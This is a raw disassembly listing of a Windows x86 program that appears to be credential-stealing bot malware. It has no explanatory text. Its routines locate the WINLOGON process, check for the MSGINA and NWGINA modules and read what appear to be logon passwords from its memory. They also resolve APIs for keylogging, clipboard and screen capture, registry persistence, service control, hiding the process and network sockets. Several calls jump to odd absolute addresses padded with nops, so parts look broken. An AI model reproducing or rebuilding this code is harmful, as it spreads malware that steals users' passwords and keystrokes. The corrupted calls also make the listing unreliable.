var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4240EC
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_4240E8
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_43F314
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 26C0338h
		nop
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_43F314
		test	eax, eax
		jnz	short loc_4092F6
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_4092F6
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_4092F6

loc_409292:				; CODE XREF: sub_409209+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_4092E9
		push	0
		push	0
		call	dword_43F308
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_43F518
		test	eax, eax
		jnz	short loc_4092DA
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_419063
		pop	ecx
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40930E

loc_4092DA:				; CODE XREF: sub_409209+AAj
		test	edi, edi
		jz	short loc_4092E5
		push	edi
		call	dword_43F310

loc_4092E5:				; CODE XREF: sub_409209+D3j
		mov	eax, [esp+28h+var_10]

loc_4092E9:				; CODE XREF: sub_409209+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_409292

loc_4092F6:				; CODE XREF: sub_409209+6Dj
					; sub_409209+7Aj ...
		xor	edi, edi

loc_4092F8:				; CODE XREF: sub_409209+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 26C0338h
		nop
		mov	eax, edi

loc_409306:				; CODE XREF: sub_409209+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------

loc_40930E:				; CODE XREF: sub_409209+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_409377
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax

loc_409324:				; CODE XREF: sub_409209+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_419063
		pop	ecx
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40938B
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_419063
		pop	ecx
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409369
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax

loc_409369:				; CODE XREF: sub_409209+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_409324

loc_409377:				; CODE XREF: sub_409209+10Fj
		test	edi, edi
		jz	short loc_409382
		push	edi
		call	dword_43F310

loc_409382:				; CODE XREF: sub_409209+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_4092F8
; ---------------------------------------------------------------------------

loc_40938B:				; CODE XREF: sub_409209+13Cj
		xor	eax, eax
		jmp	loc_409306
sub_409209	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409392	proc near		; CODE XREF: sub_409037+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		call	near ptr 26E04FBh
		nop
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_4093BB
		xor	eax, eax
		jmp	loc_409536
; ---------------------------------------------------------------------------

loc_4093BB:				; CODE XREF: sub_409392+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		nop
		call	near ptr 26E0000h
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_4240EC
		push	8
		call	esi
		mov	edi, dword_4240E8
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_4240F4
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_40940B
		xor	esi, esi
		jmp	loc_409529
; ---------------------------------------------------------------------------

loc_40940B:				; CODE XREF: sub_409392+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		nop
		call	near ptr 26D0B20h
		test	eax, eax
		jz	loc_409518
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_409518
		test	[ebp+var_2B], 1
		jnz	loc_409518
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_409518

loc_40946E:				; CODE XREF: sub_409392+112j
		push	edi
		push	offset dword_43E308
		call	sub_422A52
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409496
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_43EB08
		call	sub_422A52
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4094A6

loc_409496:				; CODE XREF: sub_409392+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_409518
		jmp	short loc_40946E
; ---------------------------------------------------------------------------

loc_4094A6:				; CODE XREF: sub_409392+102j
		test	edi, edi
		jz	short loc_409518
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		call	near ptr 2660654h
		nop
		test	eax, eax
		jz	short loc_4094E1
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		nop
		call	near ptr 2660000h
		test	eax, eax
		jz	short loc_4094E1
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax

loc_4094E1:				; CODE XREF: sub_409392+12Bj
					; sub_409392+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_43F52C, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_43F524, eax
		mov	dword_43F528, edi

loc_409518:				; CODE XREF: sub_409392+90j
					; sub_409392+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 26C0338h
		mov	esi, [ebp+var_10]

loc_409529:				; CODE XREF: sub_409392+74j
		push	[ebp+var_4]
		nop
		call	near ptr 25F1A27h
		pop	edi
		mov	eax, esi
		pop	ebx

loc_409536:				; CODE XREF: sub_409392+24j
		pop	esi
		leave
		retn
sub_409392	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409539	proc near		; CODE XREF: sub_409037:loc_40912Fp

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		nop
		call	near ptr 26E04FBh
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_40962B
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		call	near ptr 26E0000h
		nop
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_409622
		mov	edi, dword_4240EC

loc_409584:				; CODE XREF: sub_409539+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 26D0B20h
		test	eax, eax
		jz	short loc_409610
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_409616
		test	[ebp+var_13], 1
		jnz	short loc_409616
		push	ecx
		push	8
		call	edi
		push	eax
		nop
		call	near ptr 26D0000h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 26D0D38h
		test	eax, eax
		jz	short loc_409602
		push	offset dword_43E308
		push	esi
		call	sub_422A52
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409602
		lea	eax, [esi+400h]
		push	offset dword_43EB08
		push	eax
		call	sub_422A52
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409632

loc_409602:				; CODE XREF: sub_409539+9Fj
					; sub_409539+B0j
		push	esi
		push	0
		call	edi
		push	eax
		nop
		call	near ptr 26C0338h
		jmp	short loc_409616
; ---------------------------------------------------------------------------

loc_409610:				; CODE XREF: sub_409539+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax

loc_409616:				; CODE XREF: sub_409539+71j
					; sub_409539+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_409584

loc_409622:				; CODE XREF: sub_409539+3Fj
		push	[ebp+arg_0]
		nop
		call	near ptr 25F1A27h

loc_40962B:				; CODE XREF: sub_409539+1Ej
		xor	eax, eax

loc_40962D:				; CODE XREF: sub_409539+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_409632:				; CODE XREF: sub_409539+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_43F524, ebx
		mov	dword_43F528, eax
		cmp	[eax], cl
		jnz	short loc_409654
		cmp	[eax+1], cl
		jz	short loc_40965C

loc_409654:				; CODE XREF: sub_409539+114j
					; sub_409539+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_409654

loc_40965C:				; CODE XREF: sub_409539+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		nop
		call	near ptr 25F1A27h
		push	1
		pop	eax
		jmp	short loc_40962D
sub_409539	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40966F	proc near		; CODE XREF: sub_409037+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_43F520
		push	esi
		mov	esi, dword_4240EC
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		nop
		call	near ptr 26D0000h
		mov	ecx, dword_43F520
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_43F528
		push	eax
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_43F52C
		push	eax
		call	dword_43F30C
		push	[ebp+var_4]
		mov	edi, offset dword_43F318
		push	offset dword_43E308
		push	offset dword_43EB08
		push	[ebp+arg_0]
		push	offset unk_42CDC0
		push	200h
		push	edi
		call	sub_41782A
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 26C0338h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_40966F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409706	proc near		; CODE XREF: sub_409037:loc_409173p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_43F520
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		call	near ptr 26D0A94h
		nop
		push	eax
		nop
		call	near ptr 26D0000h
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_43EB08
		mov	edi, 200h
		mov	esi, offset dword_43E108

loc_40974C:				; CODE XREF: sub_409706+FAj
		mov	eax, dword_43F520
		add	eax, eax
		push	eax
		push	dword_43F528
		push	[ebp+var_14]
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_43F30C
		mov	eax, dword_43F520
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_4097C1

loc_409789:				; CODE XREF: sub_409706+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_4097DE
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_4097AD
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_4097AD
		cmp	dl, 20h
		jnb	short loc_4097A7
		and	[ebp+var_8], 0

loc_4097A7:				; CODE XREF: sub_409706+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_4097B1

loc_4097AD:				; CODE XREF: sub_409706+90j
					; sub_409706+96j
		and	[ebp+var_8], 0

loc_4097B1:				; CODE XREF: sub_409706+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_409789
		cmp	[ebp+var_8], 0
		jz	short loc_4097DE

loc_4097C1:				; CODE XREF: sub_409706+81j
		push	[ebp+var_14]
		push	offset dword_43E308
		push	ebx
		push	[ebp+arg_0]
		push	offset unk_42CDC0
		push	edi
		push	esi
		call	sub_41782A
		add	esp, 1Ch
		jmp	short loc_4097F6
; ---------------------------------------------------------------------------

loc_4097DE:				; CODE XREF: sub_409706+87j
					; sub_409706+B9j
		push	offset dword_43E308
		push	ebx
		push	[ebp+arg_0]
		push	offset unk_42CE2C
		push	edi
		push	esi
		call	sub_41782A
		add	esp, 18h

loc_4097F6:				; CODE XREF: sub_409706+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_40974C
		push	[ebp+var_14]
		push	0
		call	near ptr 26D0A94h
		nop
		push	eax
		nop
		call	near ptr 26C0338h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409706	endp


; =============== S U B	R O U T	I N E =======================================



sub_40981F	proc near		; CODE XREF: ___:0040E6F1p
		push	ebx
		push	ebp
		mov	ebp, dword_424100
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4240DC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_40993F
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_43F714, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_43F688, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_43F66C, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_43F588, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_43F534, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_43F564, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_43F5D8, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_43F6C8, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_43F724, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_43F594, eax
		call	esi
		cmp	dword_43F714, ebx
		mov	dword_43F57C, eax
		jz	short loc_40991D
		cmp	dword_43F688, ebx
		jz	short loc_40991D
		cmp	dword_43F66C, ebx
		jz	short loc_40991D
		cmp	dword_43F588, ebx
		jz	short loc_40991D
		cmp	dword_43F564, ebx
		jz	short loc_40991D
		cmp	dword_43F5D8, ebx
		jz	short loc_40991D
		cmp	dword_43F6C8, ebx
		jz	short loc_40991D
		cmp	dword_43F724, ebx
		jz	short loc_40991D
		cmp	dword_43F594, ebx
		jz	short loc_40991D
		cmp	eax, ebx
		jnz	short loc_409927

loc_40991D:				; CODE XREF: sub_40981F+B8j
					; sub_40981F+C0j ...
		mov	dword_43F728, 1

loc_409927:				; CODE XREF: sub_40981F+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_43F6A0, eax
		jz	short loc_409954
		push	1
		push	ebx
		call	eax
		jmp	short loc_409954
; ---------------------------------------------------------------------------

loc_40993F:				; CODE XREF: sub_40981F+1Dj
		call	near ptr 2610941h
		nop
		mov	dword_43F72C, eax
		mov	dword_43F728, 1

loc_409954:				; CODE XREF: sub_40981F+117j
					; sub_40981F+11Ej
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26C0000h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409A69
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_43F6C4, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_43F674, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_43F608, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_43F718, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_43F638, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_43F658, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_43F6BC, eax
		call	esi
		cmp	dword_43F6C4, ebx
		mov	dword_43F5B0, eax
		jz	short loc_409A0D
		cmp	dword_43F674, ebx
		jz	short loc_409A0D
		cmp	dword_43F608, ebx
		jz	short loc_409A0D
		cmp	dword_43F718, ebx
		jz	short loc_409A0D
		cmp	dword_43F638, ebx
		jz	short loc_409A0D
		cmp	dword_43F658, ebx
		jz	short loc_409A0D
		cmp	dword_43F6BC, ebx
		jz	short loc_409A0D
		cmp	eax, ebx
		jnz	short loc_409A17

loc_409A0D:				; CODE XREF: sub_40981F+1B8j
					; sub_40981F+1C0j ...
		mov	dword_43F730, 1

loc_409A17:				; CODE XREF: sub_40981F+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_43F634, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_43F548, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_43F604, eax
		call	esi
		cmp	dword_43F634, ebx
		mov	dword_43F5F0, eax
		jz	short loc_409A74
		cmp	dword_43F548, ebx
		jz	short loc_409A74
		cmp	dword_43F604, ebx
		jz	short loc_409A74
		cmp	eax, ebx
		jnz	short loc_409A7E
		jmp	short loc_409A74
; ---------------------------------------------------------------------------

loc_409A69:				; CODE XREF: sub_40981F+144j
		nop
		call	near ptr 2610941h
		mov	dword_43F734, eax

loc_409A74:				; CODE XREF: sub_40981F+232j
					; sub_40981F+23Aj ...
		mov	dword_43F730, 1

loc_409A7E:				; CODE XREF: sub_40981F+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409C19
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_43F6D8, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_43F61C, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_43F68C, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_43F574, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_43F5D4, eax
		call	esi
		cmp	dword_43F6D8, ebx
		mov	dword_43F644, eax
		jz	short loc_409B09
		cmp	dword_43F61C, ebx
		jz	short loc_409B09
		cmp	dword_43F68C, ebx
		jz	short loc_409B09
		cmp	dword_43F574, ebx
		jz	short loc_409B09
		cmp	dword_43F5D4, ebx
		jz	short loc_409B09
		cmp	eax, ebx
		jnz	short loc_409B13

loc_409B09:				; CODE XREF: sub_40981F+2C4j
					; sub_40981F+2CCj ...
		mov	dword_43F738, 1

loc_409B13:				; CODE XREF: sub_40981F+2E8j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_43F64C, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_43F624, eax
		call	esi
		cmp	dword_43F64C, ebx
		mov	dword_43F6D4, eax
		jz	short loc_409B4E
		cmp	dword_43F624, ebx
		jz	short loc_409B4E
		cmp	eax, ebx
		jnz	short loc_409B58

loc_409B4E:				; CODE XREF: sub_40981F+321j
					; sub_40981F+329j
		mov	dword_43F738, 1

loc_409B58:				; CODE XREF: sub_40981F+32Dj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_43F65C, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_43F550, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_43F558, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_43F5B8, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_43F5BC, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_43F56C, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_43F628, eax
		call	esi
		cmp	dword_43F65C, ebx
		mov	dword_43F55C, eax
		jz	short loc_409BFC
		cmp	dword_43F550, ebx
		jz	short loc_409BFC
		cmp	dword_43F558, ebx
		jz	short loc_409BFC
		cmp	dword_43F5B8, ebx
		jz	short loc_409BFC
		cmp	dword_43F5BC, ebx
		jz	short loc_409BFC
		cmp	dword_43F56C, ebx
		jz	short loc_409BFC
		cmp	dword_43F628, ebx
		jz	short loc_409BFC
		cmp	eax, ebx
		jnz	short loc_409C06

loc_409BFC:				; CODE XREF: sub_40981F+3A7j
					; sub_40981F+3AFj ...
		mov	dword_43F738, 1

loc_409C06:				; CODE XREF: sub_40981F+3DBj
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_43F554, eax
		jnz	short loc_409C2E
		jmp	short loc_409C24
; ---------------------------------------------------------------------------

loc_409C19:				; CODE XREF: sub_40981F+26Aj
		nop
		call	near ptr 2610941h
		mov	dword_43F73C, eax

loc_409C24:				; CODE XREF: sub_40981F+3F8j
		mov	dword_43F738, 1

loc_409C2E:				; CODE XREF: sub_40981F+3F6j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409CFA
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_43F654, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_43F6AC, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_43F6B4, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_43F670, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_43F598, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_43F544, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_43F6B0, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_43F530, eax
		call	esi
		cmp	dword_43F654, ebx
		mov	dword_43F5CC, eax
		jz	short loc_409D05
		cmp	dword_43F6AC, ebx
		jz	short loc_409D05
		cmp	dword_43F6B4, ebx
		jz	short loc_409D05
		cmp	dword_43F670, ebx
		jz	short loc_409D05
		cmp	dword_43F598, ebx
		jz	short loc_409D05
		cmp	dword_43F544, ebx
		jz	short loc_409D05
		cmp	dword_43F6B0, ebx
		jz	short loc_409D05
		cmp	dword_43F530, ebx
		jz	short loc_409D05
		cmp	eax, ebx
		jnz	short loc_409D0F
		jmp	short loc_409D05
; ---------------------------------------------------------------------------

loc_409CFA:				; CODE XREF: sub_40981F+41Aj
		nop
		call	near ptr 2610941h
		mov	dword_43F744, eax

loc_409D05:				; CODE XREF: sub_40981F+49Bj
					; sub_40981F+4A3j ...
		mov	dword_43F740, 1

loc_409D0F:				; CODE XREF: sub_40981F+4D7j
		mov	ebp, dword_4240E0
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409FCB
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_43F5E0, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_43F70C, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_43F584, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_43F560, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_43F614, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_43F5FC, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_43F5C8, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_43F6E8, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_43F704, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_43F610, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_43F6F4, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_43F6A8, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_43F668, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_43F664, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_43F5A4, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_43F59C, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_43F6B8, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_43F6CC, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_43F680, eax
		call	esi
		mov	dword_43F640, eax
